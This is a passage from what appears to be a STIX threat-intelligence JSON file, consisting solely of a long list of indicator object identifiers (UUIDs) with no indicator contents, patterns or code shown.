        "indicator--5a3b422b-4086-4208-91ad-be4bc0c10e8f",
        "indicator--372863f6-8781-45c1-9163-64032e9c06d7",
        "indicator--8b461b16-7bf7-40af-8468-0afb112154d1",
        "indicator--e65eaf36-50a9-4109-b105-9c5732b5e4ee",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--b414315e-bdf0-4395-a220-812f2acff8f0",
        "indicator--b5666a6a-e071-4a02-a970-c079ab94311f",
        "indicator--c8bf100c-5459-47ae-a725-874f10e83309",
        "indicator--4faf7af3-17e4-4081-8a09-5ec1b65d2901",
        "indicator--fe9db862-f509-4761-89e3-48e0151145be",
        "indicator--1e4cccda-3777-4735-b5dc-32b9108941a9",
        "indicator--2ad0b7d8-4d73-4256-bd28-45398a1b2192",
        "indicator--16964857-567a-4f50-b58d-387795c83d6e",
        "indicator--dc419953-36ce-45d5-96f2-a33f4208c676",
        "indicator--69c085e5-1007-4394-a589-6a7b3df2ac3b",
        "indicator--46cf8311-1288-44ea-b36a-1f03806613d8",
        "indicator--2b5355d0-4d44-4055-9247-549503ae7375",
        "indicator--b78901e2-e589-4441-8fbe-3704a4f1d55d",
        "indicator--51e9c9e0-90d2-4dc0-9bcc-40bd82da4c2f",
        "indicator--e4e8be43-2f2b-471e-af8b-c52e00b93cf2",
        "indicator--95d6ca80-7fa2-4cb3-b030-98cc461b7a63",
        "indicator--b36171d3-9b7b-4def-91c4-1ee9d5073fcd",
        "indicator--ef6e2b53-f6ff-432e-a278-8eb56c1f01a6",
        "indicator--65ccce02-21f3-4357-b51b-fd5dceb94b14",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--610b78de-870f-4ea5-9858-b36b18cd972c",
        "indicator--8896a877-190c-4948-8a6b-ae2bb4963e63",
        "indicator--5e443e04-3566-4138-a098-e8d672505ccd",
        "indicator--1c4238bd-b3f4-4671-a0a9-61cbdbba0fe9",
        "indicator--82051612-33e5-45bd-b65b-8aafec78a4a7",
        "indicator--3684cee4-22eb-4f0a-9a97-25ce34e0ad2d",
        "indicator--8bdf4a37-c9c9-4c9a-9dcb-1fe3a6bc2c17",
        "indicator--edfc8aab-9b46-4757-97d9-b233f247c6aa",
        "indicator--ca601dff-f66d-4008-815d-42e8e7260245",
        "indicator--5b2832c4-7014-49bd-b1f6-6c75ee0a2082",
        "indicator--43447e83-f2fe-4263-af13-28a2a19a0907",
        "indicator--021602aa-f101-4954-a344-a23a8581d127",
        "indicator--b2100ed8-5587-484c-ad00-f4b96643d77e",
        "indicator--91bacfa8-d322-45ee-b170-a9965e6febdb",
        "indicator--99589a5e-3591-4ce9-a054-af82b6a8b331",
        "indicator--1088585e-341d-4800-aa08-af5368cae4fe",
        "indicator--88dd5c31-a5b1-4ebb-9faf-d5304f7d0e35",
        "indicator--a85c8f0b-2dba-4d6c-8eb6-d795aac28cc2",
        "indicator--61d3296a-2873-48e7-91b5-772f92a7b670",
        "indicator--288db556-feff-455b-aa19-e0021f419798",
        "indicator--ccafb263-e259-4e48-a433-0b0b489150af",
        "indicator--141346b3-f880-45b8-b953-e8ae98248db1",
        "indicator--bc78c83d-17b7-4353-9483-7d09679a3c5b",
        "indicator--a9ab724c-f5d9-4c86-9c87-c6c070c11000",
        "indicator--6e2ee0ca-3163-488e-8d81-e7c4f38d1168",
        "indicator--9069e4a2-aebe-43b8-8989-ae5027f9a855",
        "indicator--59b1b38a-4e22-4b13-ae51-097a85b2ae7b",
        "indicator--5592f7fc-a66a-4a3c-94b2-d6e2c869a2e6",
        "indicator--a1a0a7cf-290d-4bee-b83a-285a2507902a",
        "indicator--df8faed3-3f00-4fd7-8dd0-f4de71d1b800",
        "indicator--58e63365-310c-4f93-a191-467fe6604576",
        "indicator--506fda16-4386-444b-87a1-32533aee0f29",
        "indicator--39957834-64a5-435e-b1c9-a85ef10d7ec4",
        "indicator--290300b4-3fba-42ec-8720-7a2a983277b1",
        "indicator--785657f8-997e-46e9-8abc-59e486f48e87",
        "indicator--13c7dbe2-ddab-4eb0-8058-3f7d9651aa8f",
        "indicator--302c64ec-2c55-4aa8-b3fb-621a6fdfe7d9",
        "indicator--71590b08-96b4-41d8-bb66-50fa6e513b6c",
        "indicator--76e66f53-3e3b-422b-9a46-bbeb501bd478",
        "indicator--a8db5af1-37c9-4605-a969-77053fbee82e",
        "indicator--938db770-22fa-40dd-aef9-70c1752ccaac",
        "indicator--570bf82c-48a3-4b14-a9aa-52b2f125725a",
        "indicator--5d1cadf9-e6b1-4d04-b0d1-f989ac6f27f2",
        "indicator--926a9d9d-a51d-444d-b1b0-4297a1b80c93",
        "indicator--26f4cea6-d9d9-4ecd-890f-6df3fbd61ffb",
        "indicator--f325fb6d-fcf4-4815-9edc-3d9780d6b996",
        "indicator--bf7f63ec-cf65-4457-96b8-21c1ae87ab18",
        "indicator--cc0dbb50-ef32-4329-b203-e9ccd4556734",
        "indicator--6a21f4c3-07af-485b-ae21-3d28c0cba9e2",
        "indicator--0abe1cc9-46ed-48da-b7fa-a8ba8512cc26",
        "indicator--8a84872b-41de-450a-ad32-2ed5e9f0ee74",
        "indicator--4a525271-b2cb-487d-96b4-d38449a7c4ee",
        "indicator--9cc98303-de4a-4420-9342-6fed4be43904",
        "indicator--8c57397c-a956-40a7-a831-99235f40d484",
        "indicator--4c4b382b-20d4-48aa-b7a3-058a3ac8bd96",
        "indicator--7f212a0b-1293-494d-91c2-8ef2388d49fe",
        "indicator--5c234ef7-bbbb-42a7-a80a-6d4d1a5efe83",
        "indicator--406d8ab3-345c-4076-a27b-a89b629b6f5d",
        "indicator--d9c9399a-237e-4155-ae40-84c6a38bea24",
        "indicator--82449522-52be-42df-9c71-816fd1339f5a",
        "indicator--a9a0e1f4-6bcf-485c-9a99-03b0b5404ee4",
        "indicator--f0636d2f-c1e9-45db-bd61-a940c4a64e65",
        "indicator--f93382c6-d552-4ed1-a544-857a2724afc8",
        "indicator--4192bde2-597d-42ce-bd8e-ef30cd617bd0",
        "indicator--669c20fa-8475-4770-a357-ae75dce5da8e",
        "indicator--0e7986c6-9b80-4a84-83c2-291721114045",
        "indicator--a9ada4e2-2aea-4f59-9f3b-c521f1227e17",
        "indicator--b7eb69f0-f02a-4cb5-92e9-3dbc721e4daa",
        "indicator--911ccb78-aea7-4e7e-940f-36bea4a6d679",
        "indicator--c28a397b-312e-4133-be1a-21728ed2ea3b",
        "indicator--4fa9732b-bc05-426c-8d1b-1ac5f92848da",
        "indicator--86ef5788-a51a-47d8-976a-95d5064de1af",
        "indicator--296c2d59-5b6f-4b6b-b9ff-efee558bc839",
        "indicator--acd56b61-a50c-4e9f-8454-bfe6c8953533",
        "indicator--6e67dfda-912d-46db-bb7f-d6533d634ccc",
        "indicator--4890f3d6-4f53-4645-99a3-70b77c9792cc",
        "indicator--ddb39294-55c8-4d0d-9c69-d6c55059db7c",
        "indicator--f056e28e-2757-4cd1-a1ac-60cce09dfced",
        "indicator--dac72868-4548-46e6-bd59-d784e504179f",
        "indicator--42c4fc80-a21a-41e1-a95c-a33a285fef37",
        "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
        "indicator--93766e41-0153-4ea2-b5e5-f3a669df78f1",
        "indicator--5bbd960c-2730-4e03-b9d4-c0cb90e57afe",
        "indicator--df4b00d6-8f71-4c7e-9136-754dd4daae97",
        "indicator--714cb436-d667-4983-bf26-9d8ea0df23aa",
        "indicator--905cd3ce-c984-4679-9daf-615444f6a51b",
        "indicator--bbe5047d-9609-4856-abda-bf95631e7543",
        "indicator--5da33d27-37fe-4abd-a771-0ad2a0c7d217",
        "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
        "indicator--91b28c92-fbd0-4e32-b4fc-b419be330018",
        "indicator--915885f7-542a-41ef-8ab4-53aa25fca98d",
        "indicator--5bda17f7-b940-489b-a8d9-272c1ce72c5c",
        "indicator--a72cb80a-622a-4266-8464-c4b950efe074",
        "indicator--206a453f-a51f-4ff8-820c-128493fd30a0",
        "indicator--d63fcdb2-47cb-48e2-8558-2aa1be0c437f",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--a5d98e78-67a5-4f6d-8412-e6e6a0e78ca0",
        "indicator--e4bccb3c-ff11-44de-ab4d-d79075c6892b",
        "indicator--34f0eacd-33b3-489c-b43d-df876b9fe0bf",
        "indicator--222dd31c-2066-490d-9bc9-8e893247e03d",
        "indicator--4b914aad-8b51-4fa8-8d50-7265f0a68035",
        "indicator--f63eb86c-cdb7-48fd-93ff-fad9462408eb",
        "indicator--589f59a1-4a41-4c79-a773-8606641c5188",
        "indicator--16147859-1553-4524-b99a-e96b70af05ee",
        "indicator--cf2dd706-88c3-4d7c-abfd-ca67c8240125",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--d76fa450-42f5-4bca-ba9f-100862489f3a",
        "indicator--0d407edd-6ee6-498c-a80d-faff6b62b3f0",
        "indicator--3137882d-fc23-4f3a-bf1e-7e174abf8165",
        "indicator--9d1320a1-dcb3-41e0-925f-e51aab014c6f",
        "indicator--192bafe7-c845-4af8-8d85-99e15ad721e7",
        "indicator--0406716c-d610-4b97-83d0-cf8181334c50",
        "indicator--fc0f1455-1436-4447-8632-d3dca1fd6776",
        "indicator--0e5164f9-0d38-4499-abd1-b008798cd68b",
        "indicator--0ad19e1c-e0fc-4ad8-98c8-ee3706775334",
        "indicator--03351622-9a6b-4fa8-b30e-a30b17eaa1d9",
        "indicator--1a1d90a5-761a-4189-8776-9d371e4a6b00",
        "indicator--1766dab5-1d2f-4ff1-974c-58465d44330e",
        "indicator--916e8874-8725-47d2-8640-cb27ffd0f3bf",
        "indicator--11dc24ea-6e7e-49bd-a9c3-ade60885ca0d",
        "indicator--eb8ce5d9-2490-474d-bd54-c99c41cce8bf",
        "indicator--093247a6-b1c0-42a1-b291-e7027ac3b158",
        "indicator--076fd1d0-43fe-45a1-8c49-3328933dffac",
        "indicator--dbbca4f6-be4a-4f70-ad96-5db60d88d1a5",
        "indicator--1f01aae3-e074-40ea-999a-d601229a80eb",
        "indicator--255aca82-1ebb-41dd-bb7c-09665e89146f",
        "indicator--a2afb1de-f5c0-4f76-b29b-fde58b71d10d",
        "indicator--6e49da55-7996-4a03-be2b-16c3a7a9f944",
        "indicator--052bae08-0d44-482e-99db-c03957fdc553",
        "indicator--8b2775ed-2c3c-4f43-bb82-ca58dd0c6c39",
        "indicator--910a6bb2-52ca-4f85-be56-564325b67be1",
        "indicator--0607f4fb-b8d1-4edf-96d2-7706175de022",
        "indicator--82ca7af2-6154-4e06-a351-0d98da025734",
        "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
        "indicator--e5524bba-408e-4adc-99b9-d28e9a7e327b",
        "indicator--220cfdac-91d1-4426-80fd-9020c92327fa",
        "indicator--1111cb9c-f805-4bb5-9d01-2837c79945c8",
        "indicator--e07cc1df-7e6a-4536-9731-c3433d41b355",
        "indicator--12679e9d-d235-49c2-9458-5a0172056c74",
        "indicator--8ce9771b-73fb-434e-9633-4c009131efb0",
        "indicator--9f87caea-b7a3-456c-849e-a54b74820d38",
        "indicator--cbc5baba-456d-4b6c-966d-d0cf81de9932",
        "indicator--add1333a-5232-41f8-b4e0-707dbc58ffb4",
        "indicator--57c9c5c1-23f8-4e4b-9ae4-b5ed52d452bf",
        "indicator--e184a468-98aa-4e97-95a9-23f4a431c7c8",
        "indicator--392d2d6d-3563-4992-8d08-8102fede3620",
        "indicator--4ffafd62-5167-40f5-bb03-142f0816cc1c",
        "indicator--91fd4dae-fe99-4823-b165-8c37066d54c2",
        "indicator--cccca652-b552-4207-9125-095c65bf4289",
        "indicator--e06cb546-3437-4305-b490-6b447b104b88",
        "indicator--0c9eb9c4-7cd6-4a91-8955-0cd2e8fe3820",
        "indicator--d6c6396c-1c2a-480a-b9cf-1d9719297b06",
        "indicator--0c0909ca-c320-4ca6-a3dd-bda0849a5ae3",
        "indicator--15bac7d0-4e0c-4b40-96dd-6b1dcad16914",
        "indicator--77f769e0-7d05-4837-a884-338627242f68",
        "indicator--8769a496-cccf-4875-9434-734ee8f537b3",
        "indicator--b2c307e4-4c93-436d-be92-410a313fbb1b",
        "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
        "indicator--37ece8ff-5b87-4a46-bd50-dc0b141fd705",
        "indicator--57294872-80de-4bc2-9d86-efae3eeae66e",
        "indicator--d0c3f54a-d7c4-4ae2-9794-774ea4ed57f0",
        "indicator--fa0cd797-af84-4821-b1f9-1f4b35448fa8",
        "indicator--33bad5ac-5b1a-40ce-8ae9-9300e38ca81e",
        "indicator--abb56643-14fd-4db7-8670-52af2e4b8fd6",
        "indicator--622dd7f5-291b-4b5f-8999-720a31588d89",
        "indicator--bd3db2f8-d680-4fcc-a9cf-49ad3428ed95",
        "indicator--d3c14b0d-f132-4653-acaf-14c4b5bf5cdc",
        "indicator--5c8d26ad-ecc4-416d-ba99-914a75f61add",
        "indicator--f9f0c0b0-7a62-4a09-b544-48d2ab72462b",
        "indicator--0acdc189-7f9f-4457-9f98-eb8c23e0e7cd",
        "indicator--ade8c28f-7676-45ef-99c7-7ed388d54a3a",
        "indicator--0c6399b4-d753-44bb-adfc-b8dd76d3864a",
        "indicator--e292a1af-2bed-45f2-b04f-fe102457c46f",
        "indicator--cafff783-0f77-4e36-af10-3e1616238ac1",
        "indicator--40317f30-ef03-4ac7-aa37-3088379794f6",
        "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
        "indicator--a898aac3-80be-47e1-918f-9ec7856ed6e7",
        "indicator--381b90c2-bd52-4b0c-a494-9c4f9c5a0b3f",
        "indicator--9e552a55-92cf-439e-b472-4a03af6816ae",
        "indicator--68016460-722c-44e2-84b2-a8f2b9844860",
        "indicator--6515bf46-86fd-4f33-831f-27a9dca75ef5",
        "indicator--268be8dd-1990-49d3-9af1-b1ef82b1553b",
        "indicator--0a15e00a-0e9c-4f64-a5b6-96ee02c21e68",
        "indicator--8fd398df-7a38-4178-9b6f-aa0b48bde56b",
        "indicator--b899efe0-0ce6-4280-806f-3648cee4ef1a",
        "indicator--bab1eddd-b752-4bfb-b2a5-e7208dad541e",
        "indicator--e6149e08-2fcd-4bce-95d7-5a7531b380e5",
        "indicator--cabfd4cd-52d8-44ef-b1a5-1b82e60414f0",
        "indicator--aad7b41f-2d95-4ce7-b7e3-4c352619ce2c",
        "indicator--e5948ac9-a46d-4642-ae54-4f9182418a53",
        "indicator--6fdfd6a1-b6f5-4f3b-ac60-2fd24165b1bc",
        "indicator--40396f8e-f624-4962-9d64-347c615b2f86",
        "indicator--96fa42ec-452c-408e-afe0-60576622e7a6",
        "indicator--ce7574c2-4a65-4aaf-abf3-af0922354f56",
        "indicator--501619c8-f309-4453-bf4d-8e76a9a1c223",
        "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
        "indicator--56bbc167-1dde-4818-9547-a289787d1c39",
        "indicator--928d2880-a6e2-4009-a5b3-5f5f1b045a19",
        "indicator--a85679a2-5baa-446c-94d9-75b247a44055",
        "indicator--592da9bb-a5cf-47cf-b48a-0fb3fd1f7050",
        "indicator--1c83b145-fdd0-490e-9d5c-88a97985acb3",
        "indicator--8d3b8961-f683-46ba-b654-37cd57d944f4",
        "indicator--074c6f15-646d-4405-99d0-f73b65d772b2",
        "indicator--03ca89fe-18c0-4af5-92cd-f03d44b75898",
        "indicator--4e25481e-a736-4e53-a299-c919f276e950",
        "indicator--133a2431-bc66-4887-b6a4-ea24f21a290c",
        "indicator--264f1018-f5f0-4b36-a63a-01b9a1935c8c",
        "indicator--a26e72b3-871d-4ce5-9a86-db653a6d0429",
        "indicator--849aea33-e062-4447-b43f-e24b9638dc9a",
        "indicator--60f8567d-ba63-4ab6-a4dc-4dc02b4b87bc",
        "indicator--fc7c01e9-5fe5-4cf8-ae44-52c6d9243178",
        "indicator--6083f088-8256-4361-a7c0-0abad415ec99",
        "indicator--7cd80d7b-0e26-49de-9801-7dec5e7dfbbb",
        "indicator--335d5ad5-a375-487e-b4b7-c4faaba14b49",
        "indicator--e226f0d0-6e18-4202-8507-8b25152b66a7",
        "indicator--c38fd536-08a7-4258-ade7-4483b61bb35d",
        "indicator--c9e33822-f3e2-436f-a181-768be2a6480b",
        "indicator--54a59b85-6aa3-4eb5-999d-ce0abce2696d",
        "indicator--ce9c5a8b-c22a-4cac-96b8-1241dce92634",
        "indicator--45a2c687-8c21-4fb1-b64a-37d9aaf716aa",
        "indicator--32f83c3e-4dd9-48cd-a4a5-f77e3d41bbb7",
        "indicator--91c77f1b-9b67-4c6d-b411-d12d0359580d",
        "indicator--01bc310a-bc57-4182-96fc-8efdf4f1f9ea",
        "indicator--1f16c46c-4643-4a28-8fd3-18a5f9db76a9",
        "indicator--5e6cdc84-8c3b-491b-b147-3680c650de2c",
        "indicator--f2f2ba45-60d1-487a-974d-7432cff1a8e5",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--3bdc4ef8-f6ab-4ad4-b88e-1b4fbf25ebab",
        "indicator--6e3740c6-8188-4584-a0f6-1d0ba5040b60",
        "indicator--321dc651-6210-4233-97e1-e6f100842a29",
        "indicator--1e337390-05c5-4907-8227-89716d6214cf",
        "indicator--a67e38de-a6f9-4ea0-8dfd-452d947bb1b1",
        "indicator--6decb879-347d-4a56-9d13-15aaa48ade49",
        "indicator--f60c76ad-acb3-48b2-832b-24c06387ebe7",
        "indicator--7addefed-a638-438b-b58a-7d9e24b14d96",
        "indicator--c76596ad-4073-4114-882f-b5cdee8323d2",
        "indicator--b64641c2-69a3-402b-885c-fe8d938ea0a8",
        "indicator--c253690a-89e9-4ef0-8d8d-6cb737f0cc4d",
        "indicator--52ce135d-96fb-4c7e-aec3-6a6c40e6f995",
        "indicator--3daa3d3a-14df-4713-a23e-9829fec33b31",
        "indicator--1851e1e4-a6b9-40d3-9e14-38e6b78039e6",
        "indicator--60274831-56ed-48c3-92f4-cdce6280540e",
        "indicator--73f6b647-6ed0-4fc0-8e1e-6153c1358bf8",
        "indicator--487213bf-9d8c-469b-b9e4-53665be2b548",
        "indicator--ed5997f6-34c8-4e71-8aa9-7f71cd2274d9",
        "indicator--07e63b9f-5e99-4d13-b63b-0e4e9366aedd",
        "indicator--fbb63bf8-f292-4e86-8693-af1867f81d4a",
        "indicator--739d183a-8314-40cd-b09d-4d321beb8fd9",
        "indicator--5f6b05cb-0e96-4943-a2d2-74799239621c",
        "indicator--45713bbb-915f-4872-ad77-96a643a03427",
        "indicator--3471596d-305a-47fe-ac60-1a0bf60faa90",
        "indicator--ee32a0fc-8af8-4c36-8cd1-3adbc7c1e00d",
        "indicator--e9ab10c0-a3c5-4e64-bd9e-7cbaf071ea44",
        "indicator--033603ae-7b8c-4bd9-8612-22d79fba998c",
        "indicator--9ce2d19b-00f6-4c58-a5ed-44719ff21a6b",
        "indicator--3eaccefe-d4d8-4666-bba4-40082d0cdf07",
        "indicator--33dd78f8-3002-4ade-b5d3-220db652df35",
        "indicator--39505e2e-aa9a-48bc-8fa2-87a48206b146",
        "indicator--fcfa8fba-20c5-4c19-ab60-d9b947990190",
        "indicator--7d8d2291-db76-47cb-a136-09a1590b721c",
        "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
        "indicator--8937d745-bac0-40cd-be8a-426d2744c251",
        "indicator--9579262b-f331-44f5-8035-6f511d99d580",
        "indicator--b43be287-245c-4349-9391-49eb8942821e",
        "indicator--b10f1f32-5b11-46b6-819b-6b52f90acaf5",
        "indicator--4d7b0ad8-08f6-48b4-a30d-d4a59222e5c4",
        "indicator--80ee7270-5c07-4779-9a2b-ab3154f4e7f7",
        "indicator--1c477d22-3a87-4bcd-8b38-4210fff4cd9a",
        "indicator--f46c59db-c80c-4145-84a8-8e92ad91acdd",
        "indicator--d5f28e0f-5957-4549-b597-6f3a03b7d898",
        "indicator--9a0c8726-8698-42bc-be67-eef292e97594",
        "indicator--ffaf5a27-43c1-4723-b93b-3019a31193e3",
        "indicator--c7e01ad4-986b-44b9-8441-2b9a7612b458",
        "indicator--84b9c2aa-2e93-413f-a8a4-a2725d697e2a",
        "indicator--ed3d0f70-2f55-4f26-aa21-68c11417b553",
        "indicator--7a825bb2-66eb-4bad-8292-e4d16faf80f5",
        "indicator--d6a0e595-e434-41ef-8369-b9d958df8452",
        "indicator--d718e33b-c06f-47a9-ae94-165bba4581d3",
        "indicator--7e254045-7ab9-409d-8bea-ba72c5eb4f0c",
        "indicator--311be514-cf0f-48e4-b3cb-f1c8d595113c",
        "indicator--b5fcd94a-3142-42aa-87c4-a917124656e3",
        "indicator--066b3ebd-bd0b-4e0d-9a17-3af7e5489cb4",
        "indicator--1b13d192-4914-4bbc-be7c-f62465644931",
        "indicator--6de8fa16-e81e-4609-b96f-41b0d495a992",
        "indicator--0922ed9f-3d1d-4334-b5bd-e5271dd1160f",
        "indicator--9b084f2d-cd22-48c2-a9e4-ee84d397b80b",
        "indicator--35c4aa05-0cfd-4db6-9314-0b01b943ff5c",
        "indicator--49474b10-4f3e-409b-9812-6e20b2d5a187",
        "indicator--9c0be42b-6994-45c0-a2d2-7a667357c22c",
        "indicator--5fb0aed7-c279-482e-97d4-e8ff26ea94cf",
        "indicator--7b5ba3c3-8341-4af9-9a1b-2f049d3f11a1",
        "indicator--b07c1486-39ce-4f9b-9891-544f36d3454f",
        "indicator--9ef6fa43-b887-4729-a41d-2dd74232d97d",
        "indicator--e0760ce2-ab4e-4347-8360-1c78d96daa34",
        "indicator--fd495f82-53d6-49a1-afa1-d1cf9a35dea2",
        "indicator--86db62ea-c4b9-454c-b2ac-59a1001aa8c9",
        "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
        "indicator--0fae7af4-2964-431f-bc7a-003377fc28e3",
        "indicator--cbbf1386-41e4-4eea-b638-fa8c036d9121",
        "indicator--781e16d2-2303-4d20-a2bb-b54a3d8a8b7f",
        "indicator--0de1afe9-1bc7-4149-84d0-064f2f2e7d9f",
        "indicator--4556e99e-df0d-4d9e-9738-2c01c944da4c",
        "indicator--39724875-9de4-4b4b-aa12-c0f99712ae38",
        "indicator--f045d997-4e04-481e-af38-342fbe4fc955",
        "indicator--0c0fca61-6a0f-4c08-bf4f-dd55eb994ffb",
        "indicator--29a309a4-f3ed-4dc2-8bb3-9dc58b6abc4d",
        "indicator--4069824c-ccc9-46d8-a17b-13d293782506",
        "indicator--3af3f607-3414-4283-999d-9e26521f98dd",
        "indicator--7115a752-9ca0-4943-ab48-b725c9c681d4",
        "indicator--3210b04e-63b2-4a08-bb7c-ecbcfc16a417",
        "indicator--569f21a2-a12a-4d62-a42f-f32c4d4542de",
        "indicator--eca860a5-a2ae-4a6d-8216-a8f0b75966b0",
        "indicator--44ac2139-87ee-44c5-abf0-75b2d591e61c",
        "indicator--07aef71d-65e4-4846-a4d5-487c833d0265",
        "indicator--458ea8ab-25df-47c9-ba41-53d2925814d0",
        "indicator--1327664e-cd31-455d-b94a-a957deb8a848",
        "indicator--5441edca-6206-48c9-9799-615a0eb6361d",
        "indicator--5184633d-7c43-47bd-8463-c7181a4f92b0",
        "indicator--2fb0a2b0-0d39-48c6-a8d7-0f50f9fe4dc0",
        "indicator--8499136f-dc7a-43e6-834d-1044ff30370b",
        "indicator--f0fe3fde-20d2-4aa8-b8bc-18c39799cb20",
        "indicator--13b43596-060b-4dbc-965d-7735ea16c2b6",
        "indicator--2c526bac-56d1-4295-b343-c99b28970e5b",
        "indicator--aab783ee-ba73-4566-9e3e-7a4a197f3536",
        "indicator--f8b0719b-f768-4b31-a404-833559b8441e",
        "indicator--20836fc3-47cb-4592-bbf8-14f8813127cd",
        "indicator--0fad99e2-de8b-40c2-87e3-1c2601d23376",
        "indicator--825f334a-48d5-4ce9-9f15-51fbd5e7e321",
        "indicator--c81b32e1-43ce-4f2e-b4d1-5b3ebea9b160",
        "indicator--0a5ed2f0-4eca-4f11-a6df-e576020e38ee",
        "indicator--75fce902-1d7f-4dd2-82f5-220abc6582ee",
        "indicator--e21c1104-77a3-4b17-9544-798d5279d72e",
        "indicator--7dc3515e-d8c5-454f-a1dd-b60e4640696c",
        "indicator--d63dce10-1d2d-416a-b46d-606a8a938a2e",
        "indicator--5c4f5cc7-15e9-40e4-8820-600c626a9552",
        "indicator--3480414b-a84c-42d2-be96-be94a7706de3",
        "indicator--b244d925-f849-4a51-bca0-5d4535183f26",
        "indicator--7525bcf1-4314-4c0f-ac68-da2286508080",
        "indicator--0386955f-2d9c-42b8-a4af-5ed07f747109",
        "indicator--cdc20ded-d59d-4523-b04c-09ff4621350f",
        "indicator--9c73c5a3-ccaf-4367-8d60-f6ece46d8aee",
        "indicator--f83cac16-ae22-40d3-9a0c-bf122e7f7bfa",
        "indicator--e11c064c-1bc5-4a27-9c5f-f11eacb87510",
        "indicator--e438ee9b-e6cf-4075-89f9-f19034858dc8",
        "indicator--8610047e-fb6d-4b81-9a69-c000ad285f1c",
        "indicator--8c70cdd7-3199-47a0-aa9c-ad1d4107aa22",
        "indicator--51056d9c-70e5-4d3f-a3e1-a794ba7b1864",
        "indicator--61d0d381-5cc5-4d8c-a4c5-be32e23011d0",
        "indicator--6597a5df-41db-4c0a-af04-4e9bd7d1fdb6",
        "indicator--ba29a7b7-6850-4a81-b600-1db231b79b9b",
        "indicator--60939dbd-d587-4e3d-83ef-b235039c2c90",
        "indicator--4f347d1f-1b2c-48b3-b036-87f4d598a77a",
        "indicator--37e2fcd3-ca2f-4191-b704-0ed2fcc2fc44",
        "indicator--4e99f932-3de0-4c40-81c2-21413c19bc21",
        "indicator--9872ba20-8dcb-46e6-86cd-c37a7523b7d5",
        "indicator--117acd7c-7fd3-43e9-83db-e6ca87f7063f",
        "indicator--2b287829-a296-4495-a0fd-54a139bcd892",
        "indicator--672c8848-24dd-4f48-8ed2-cef3933dfec5",
        "indicator--7fde3635-1005-4775-8ef3-de5cd9d97f03",
        "indicator--60fd2beb-b4c2-4029-99ab-8e8b9fa6cbe1",
        "indicator--e224e36c-8f06-4799-a1c0-094111286ffc",
        "indicator--1df9f424-1066-4812-93b1-89b8205ae65b",
        "indicator--a14a8287-61d9-4755-94b7-a7a15f2489b6",
        "indicator--6f8369ca-a30c-4488-b01e-18faab41bae2",
        "indicator--2b0d727e-a2bf-4dd8-a329-ebfa0d7a524d",
        "indicator--08d6213e-d6ed-4786-a425-619668edf616",
        "indicator--cffd247e-f4c6-4c08-9426-655eb9c8fdf3",
        "indicator--c826bf3d-bc43-4420-90b7-ca8be33b9bcc",
        "indicator--cfccdcb6-88a2-4486-9954-2e0d62e81407",
        "indicator--db2c51b0-84c0-4bf3-a69f-b491f51132d7",
        "indicator--015e6ab3-bbff-4960-b9d8-0d45a9ec7641",
        "indicator--f7d2887f-98f7-4146-9a68-5272fbd17c12",
        "indicator--7d3cb209-5f80-4af3-a630-5e03f0d3e8e4",
        "indicator--110d021d-638a-4abb-9edb-c485dd9924a6",
        "indicator--ca3bc67f-c80b-4c53-8547-07126d3909b4",
        "indicator--de3b4e17-a13e-42b8-80b5-a01be7757837",
        "indicator--bd0d852f-8de9-4372-9fd4-6d4e0bf346ab",
        "indicator--822bb1ad-ff62-46ff-b8c8-621db5c586c3",
        "indicator--00920327-b599-428c-a027-56ed02955d99",
        "indicator--a8e13b59-2ad5-4d89-8101-a565307385ce",
        "indicator--9a5477d2-ea21-4b42-a428-4901e36bd9e0",
        "indicator--f549dd2a-326b-44e9-ae68-8d107a5f2c99",
        "indicator--ee37133e-4b3a-4129-b9c4-606fcf6f3129",
        "indicator--c801f044-c055-4b85-9567-f88814acd031",
        "indicator--f40c254d-5cc2-48e2-803c-71a119e33da0",
        "indicator--c43150a8-c31d-48f9-a744-affbec964904",
        "indicator--5fa7756d-6e9c-40a2-9284-a42c20c3e671",
        "indicator--deb6679b-6469-4a62-8d5b-9e5a2d2f6d2e",
        "indicator--841ead94-14b4-469e-b7ad-a50549a44a18",
        "indicator--96d3795c-fc4f-4e11-9350-105cd7975534",
        "indicator--3d794f41-59ee-43e5-b21b-398c6a81ac98",
        "indicator--7ee49255-dd72-4d64-9ca0-81b255a99fe9",
        "indicator--ee84534e-99da-4207-83cf-7476475cbf45",
        "indicator--98fecba9-2469-439f-98ca-dd804f89269d",
        "indicator--a049be0d-b73d-4e7f-9182-1d3148b88a8f",
        "indicator--91f296e8-b62f-47bf-ac6f-1cfcb8d76b12",
        "indicator--d6af9c81-43be-4299-a653-0aeb7f5afb44",
        "indicator--fccd9372-5a86-44ed-b37e-0b02faab97a3",
        "indicator--703a5ba5-b1d1-4cd4-b7fd-e47df7edd98f",
        "indicator--67ab949f-c7ec-4d36-8cc2-0220ef71f0d0",
        "indicator--e0b6ded1-0e1b-400c-b79c-0831c7f78870",
        "indicator--3b7f3504-157d-4416-b16b-8447fd8d2b0c",
        "indicator--f9742cfa-efc3-43e4-95e6-29f908a230cb",
        "indicator--2a17c3f6-b632-45ec-afc8-8526cb5111ae",
        "indicator--24810390-8e74-4d58-bf2c-8ece272b17fb",
        "indicator--a041affa-bc6e-40ca-b617-02f97bc81b55",
        "indicator--67d0aa88-60d6-4c6d-a920-b3986a961169",
        "indicator--387d7910-85b4-4be0-a2a0-c3ab52e49bd9",
        "indicator--6478620e-04d8-40c4-bcdc-a5a02e3cd2d6",
        "indicator--f8f6a93b-8bc0-496d-b01a-478fc9d5bf5e",
        "indicator--3534a678-17d8-449b-b420-435a32a73ab5",
        "indicator--cc82e740-745d-4ec1-bb4e-6dbcd37aceae",
        "indicator--b390a268-8f17-4f81-b25d-ab47aaaca5c3",
        "indicator--9e09d6e5-f4f6-433e-a616-2d1489963c16",
